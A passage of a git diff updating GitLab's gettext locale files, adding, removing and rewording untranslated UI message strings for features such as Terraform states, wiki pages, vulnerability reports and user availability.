msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,10 +27364,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 7973a80d33b..4fe2aefd997 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:20\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
